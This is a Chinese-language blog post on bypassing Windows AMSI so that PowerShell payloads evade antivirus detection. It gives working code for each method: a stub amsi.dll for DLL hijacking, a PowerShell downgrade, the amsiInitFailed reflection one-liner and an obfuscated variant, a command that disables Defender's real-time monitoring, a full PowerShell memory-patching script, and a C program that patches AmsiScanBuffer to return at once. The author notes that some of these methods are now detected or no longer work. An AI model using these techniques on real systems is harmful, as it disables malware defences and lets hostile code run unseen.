干貨 | 繞過AMSI實現免殺的研究和思路
何為AMSI
Antimalware Scan Interface(AMSI)為反惡意軟件掃描接口。
微軟對他產生的目的做出來描述:
Windows 反惡意軟件掃描接口 (AMSI) 是一種通用接口標準,允許您的應用程序和服務與機器上存在的任何反惡意軟件產品集成。AMSI 為您的最終用戶及其數據、應用程序和工作負載提供增強的惡意軟件保護。AMSI 與反惡意軟件供應商無關;它旨在支持當今可以集成到應用程序中的反惡意軟件產品提供的最常見的惡意軟件掃描和保護技術。它支持允許文件和內存或流掃描、內容源 URL/IP 信譽檢查和其他技術的調用結構。AMSI 還支持會話的概念,以便反惡意軟件供應商可以關聯不同的掃描請求。例如,可以將惡意負載的不同片段關聯起來做出更明智的決定,而僅通過孤立地查看這些片段就很難做出決定。
在Windows Server 2016和Win10上已經默認安裝并啟用。他的本體是一個DLL文件,存在于 c:\windows\system32\amsi.dll。

它提供了通用的標準接口(COM接口、Win32 API)其中的COM接口,是為殺軟供應商提供的,方便殺軟廠商接入自身針對惡意軟件的識別能力。有不少安全廠商已經接入了AMSI的接口。
官方架構圖:

目前AMSI功能已集成到Windows 10的這些組件中
?用戶帳戶控制或 UAC(EXE、COM、MSI 或 ActiveX 安裝的提升)
?PowerShell(腳本、交互使用和動態代碼評估)
?Windows 腳本宿主(wscript.exe 和 cscript.exe)
?JavaScript 和 VBScript
?Office VBA 宏
既然本質上是一個dll,那么就可以看下他的導出函數。

當執行一些敏感字符串時,會發現powershell拒絕執行并報毒。

查看powershell模塊會發現加載了amsi.dll

幾種繞過的方式
dll劫持
再打開powershell進程時,會加載amsi進程,那么自然的就想到可以通過dll劫持,或者替換等方式來bypass。
dll加載的順序:
?進程對應的應用程序所在目錄
?系統目錄(通過 GetSystemDirectory 獲取)
?16位系統目錄
?Windows目錄(通過 GetWindowsDirectory 獲取)
?當前目錄
?PATH環境變量中的各個目錄
powershell.exe的路徑為C:\Windows\System32\WindowsPowerShell\v1.0,只需要在同目錄下置放一個名為amsi.dll的模塊。
但是并不是隨便一個模塊都行,由于已經開啟了amsi,如果錯誤加載會引起powershell崩潰,那么我們也無法執行命令。這里就要導出本來amsi.dll有的導出函數。
比如這里導出函數有個AmsiScanBuffer

然后去msdn去找,文檔里面有相關的函數說明并且有參數等等。

#include "pch.h"
#include
extern "C" __declspec(dllexport) void AmsiScanBuffer(HAMSICONTEXT amsiContext,
PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession,
AMSI_RESULT * result);
void AmsiScanBuffer(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length,
LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result) {
}
這樣一個一個去把導出函數寫出。不要去直接include系統文件amsi,這樣他那個文件里本來就有相關函數,這樣會起沖突,直接把有些結構體粘過來就好了。
typedef struct HAMSICONTEXT {
DWORD Signature; // "AMSI" or 0x49534D41
PWCHAR AppName; // set by AmsiInitialize
DWORD Antimalware; // set by AmsiInitialize
DWORD SessionCount; // increased by AmsiOpenSession
} HAMSICONTEXT;
typedef struct HAMSISESSION {
DWORD amsiSession;
} HAMSISESSION;
typedef enum AMSI_RESULT {
AMSI_RESULT_CLEAN = 0x00,
AMSI_RESULT_NOT_DETECTED = 0x01,
AMSI_RESULT_BLOCKED_BY_ADMIN_START = 0x4000,
AMSI_RESULT_BLOCKED_BY_ADMIN_END = 0x4fff,
AMSI_RESULT_DETECTED = 0x8000,
} AMSI_RESULT;

這樣我們自己編寫的dll也有相關的導出函數可以讓powershell去調用,只不過里面沒功能。注意這個amsi是64位的。

把自己的dll放到powershell.exe的同目錄下,再次打開powershell。

查看powershell進程的模塊,發現已經是我們自己寫的模塊了。

已經成功bypass

整個過程中需要管理員權限,dll也需要考慮免殺的問題,甚至還能用它來維權?這個方法按理來說應該是比較敏感的,要看微軟什么時候去修復。
除了劫持還可以卸載,但是會造成powershell不穩定直接崩潰。這個方法是不行的。


降低powershell版本
將powershell版本降到2.0,就能夠規避amsi,因為在低版本的powershell中還沒有加入amsi。那么就需要知道目標機器的powershell版本。
$PSVersionTable

在 Windows 7 和 Windows 服務器 2008 R2 以上版本,PowerShell 2.0 集成在所有 Windows 版本中。

在普通用戶權限下,可以通過如下命令經行檢查:
Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select -ExpandProperty Version

管理員權限可以使用如下命令:
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2

這里虛擬機是沒有這個環境的,看了下本機有2.0版本,這里就換下本機試一下,是能夠成功的執行的。

混淆
一個最簡單的例子
"amsiutils" "amsiuti"+"ls"

可通過一行命令直接關閉AMSI
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiI nitFailed','NonPublic,Static').SetValue($null,$true)
但是直接關閉肯定是不行的,他的特征實際上就在System.Management.Automation.AmsiUtils 和 amsiInitFailed。

這里可混淆的方式也是比較多的,方式可以如下:
$a =[Ref].Assembly.GetType('System.Management.Automation.AmsiUti'+ls')
$h="4456625220575263174452554847"
$s =[string](0..13|%{[char][int](53+($h).substring(($_*2),2))})-replace " "
$b =$a.GetField($s,'NonPublic,Static')
$b.SetValue($null,$true)

在網上看到關閉Windows Defender 也可以使系統自帶的AMSI檢測無效化,需要管理員權限,這個方法現在已經不行了。
Set-MpPreference -DisableRealtimeMonitoring $true
利用反射將內存中AmsiScanBuffer方法的檢測長度置為0
AMSI檢測調用過程為:
AmsiInitialize – 初始化AMSI API.AmsiOpenSession – 打開sessionAmsiScanBuffer – scans the user-input.AmsiCloseSession – 關閉sessionAmsiUninitialize – 刪除AMSI API
其中AmsiScanBuffer參數微軟也給出了說明,第三個參數是要檢測緩沖區的長度。

腳本來源:https://gist.github.com/shantanu561993/6483e524dc225a188de04465c8512909
Class Hunter {
static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) {
while ($true) {
[int]$count = 0
while ($true) {
[IntPtr]$address = [IntPtr]::Add($address, 1)
If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
$count++
If ($count -eq $egg.Length) {
return [IntPtr]::Subtract($address, $egg.Length - 1)
}
} Else { break }
}
}
return $address
}
}
function Get-ProcAddress {
Param(
[Parameter(Position = 0, Mandatory = $True)] [String] $Module,
[Parameter(Position = 1, Mandatory = $True)] [String] $Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
function Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
$LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
$LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
$GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
$GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
$GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
$VistualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VistualProtectDelegate)
If ([IntPtr]::Size -eq 8) {
Write-Host "[+] 64-bits process"
[byte[]]$egg = [byte[]] (
0x4C, 0x8B, 0xDC, # mov r11,rsp
0x49, 0x89, 0x5B, 0x08, # mov qword ptr [r11+8],rbx
0x49, 0x89, 0x6B, 0x10, # mov qword ptr [r11+10h],rbp
0x49, 0x89, 0x73, 0x18, # mov qword ptr [r11+18h],rsi
0x57, # push rdi
0x41, 0x56, # push r14
0x41, 0x57, # push r15
0x48, 0x83, 0xEC, 0x70 # sub rsp,70h
)
} Else {
Write-Host "[+] 32-bits process"
[byte[]]$egg = [byte[]] (
0x8B, 0xFF, # mov edi,edi
0x55, # push ebp
0x8B, 0xEC, # mov ebp,esp
0x83, 0xEC, 0x18, # sub esp,18h
0x53, # push ebx
0x56 # push esi
)
}
$hModule = $LoadLibrary.Invoke("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"
$DllGetClassObjectAddress = $GetProcAddress.Invoke($hModule, "DllGetClassObject")
Write-Host "[+] DllGetClassObject address: $DllGetClassObjectAddress"
[IntPtr]$targetedAddress = [Hunter]::FindAddress($DllGetClassObjectAddress, $egg)
Write-Host "[+] Targeted address: $targetedAddress"
$oldProtectionBuffer = 0
$VirtualProtect.Invoke($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null
$patch = [byte[]] (
0x31, 0xC0, # xor rax, rax
0xC3 # ret
)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)
$a = 0
$VirtualProtect.Invoke($targetedAddress, [uint32]2, $oldProtectionBuffer, [ref]$a) | Out-Null
但是這個腳本到現在已經不行了,而且defender是直接報毒的,我在想是不是可以hook一下,改下值就行了。

內存補丁
我們知道字符串是否敏感是由amsi.dll中的AmsiScanBuffer函數來進行判斷的,而內存補丁是一種較為便捷的技術,我們可以對這個函數進行修補,使其喪失判斷能力,這樣我們就能自由執行任意powershell腳本,當然前提是腳本文件沒有被殺軟干掉。
上面的方式通過將AmsiScanBuffer的第三個參數長度改為0,我感覺也可以歸為內存補丁的一種。
通過上面對AmsiScanBuffer的介紹,應該知道了該函數返回HRESULT類型值,這是一個整數值,用來表示操作是否成功。如果該函數成功,那么就應當返回S_OK(0x00000000),否則應該返回HRESULT錯誤代碼。
AmsiScanBuffer最后一個參數為AMSI_RESULT

結構為
typedef enum AMSI_RESULT {
AMSI_RESULT_CLEAN,
AMSI_RESULT_NOT_DETECTED,
AMSI_RESULT_BLOCKED_BY_ADMIN_START,
AMSI_RESULT_BLOCKED_BY_ADMIN_END,
AMSI_RESULT_DETECTED
} ;
大概就是通過這個結構體去返回是否認定被檢測的內容是否的惡意的,數值越大風險越高。
方法應該挺多的,可以注入一個dll到powershell這樣去hook或者什么操作,也可以直接起一個powershell進程然后獲取AmsiScanBuffer的函數地址,讓他直接函數返回啊這些操作,這個方法的重點應該是免殺性。
偷個懶:https://idiotc4t.com/defense-evasion/memory-pacth-bypass-amsi
#include
#include
int main() {
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
CreateProcessA(NULL, (LPSTR)"powershell -NoExit dir", NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi);
HMODULE hAmsi = LoadLibraryA("amsi.dll");
LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
Sleep(500);
DWORD oldProtect;
char patch = 0xc3;
VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
WriteProcessMemory(pi.hProcess, (LPVOID)pAmsiScanBuffer, &patch, sizeof(char), NULL);
VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, oldProtect, NULL);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
FreeLibrary(hAmsi);
return 0;
}
0xc3的硬編碼對應的匯編是ret,也就是調用AmsiScanBuffer直接讓他返回。這個馬是直接被殺的。

還有一些如com劫持,NULL字符繞過的辦法已經失效了,這里作為初探就不去研究了。